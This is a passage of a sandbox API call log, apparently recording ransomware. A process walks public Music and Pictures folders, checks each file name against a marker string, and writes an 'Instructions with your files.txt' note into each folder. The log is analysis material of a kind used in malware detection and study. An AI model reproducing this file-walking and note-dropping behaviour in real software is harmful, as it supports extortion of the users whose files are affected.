[0132.552] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\*") returned 40
[0132.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\.") returned 40
[0132.562] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\..") returned 41
[0132.562] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\desktop.ini") returned 50
[0132.562] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned 50
[0132.562] StrStrIW (lpFirst="Kalimba.mp3", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3") returned 68
[0132.562] StrStrIW (lpFirst="Maid with the Flaxen Hair.mp3", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1
[0132.562] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3") returned 53
[0132.562] StrStrIW (lpFirst="Sleep Away.mp3", lpSrch="SDfghjkl") returned 0x0
[0132.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0
[0132.563] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Instructions with your files.txt") returned 71
[0132.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Instructions with your files.txt" (normalized: "c:\\users\\public\\music\\sample music\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.563] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.564] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.564] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.564] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.564] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.564] CloseHandle (hObject=0x110) returned 1
[0132.564] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.565] GetProcessHeap () returned 0x810000
[0132.565] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0
[0132.565] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Instructions with your files.txt") returned 58
[0132.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Instructions with your files.txt" (normalized: "c:\\users\\public\\music\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.565] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.568] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.568] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.568] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.568] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.568] CloseHandle (hObject=0x10c) returned 1
[0132.568] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.568] GetProcessHeap () returned 0x810000
[0132.568] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.568] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
[0132.568] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures") returned 28
[0132.568] GetProcessHeap () returned 0x810000
[0132.568] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.568] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\*") returned 30
[0132.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.569] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\.") returned 30
[0132.569] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.569] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.569] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\..") returned 31
[0132.569] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.569] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.569] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\desktop.ini") returned 40
[0132.569] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.569] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1
[0132.569] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures") returned 44
[0132.569] GetProcessHeap () returned 0x810000
[0132.569] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned 46
[0132.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.572] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\.") returned 46
[0132.572] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.572] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.572] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\..") returned 47
[0132.572] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.572] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1
[0132.572] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned 62
[0132.572] StrStrIW (lpFirst="Chrysanthemum.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.572] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1
[0132.572] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned 55
[0132.572] StrStrIW (lpFirst="Desert.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.572] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini") returned 56
[0132.573] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned 59
[0132.573] StrStrIW (lpFirst="Hydrangeas.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned 58
[0132.573] StrStrIW (lpFirst="Jellyfish.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned 54
[0132.573] StrStrIW (lpFirst="Koala.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned 59
[0132.573] StrStrIW (lpFirst="Lighthouse.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned 57
[0132.573] StrStrIW (lpFirst="Penguins.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned 55
[0132.573] StrStrIW (lpFirst="Tulips.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0
[0132.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Instructions with your files.txt") returned 77
[0132.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.574] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.574] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.575] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.575] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
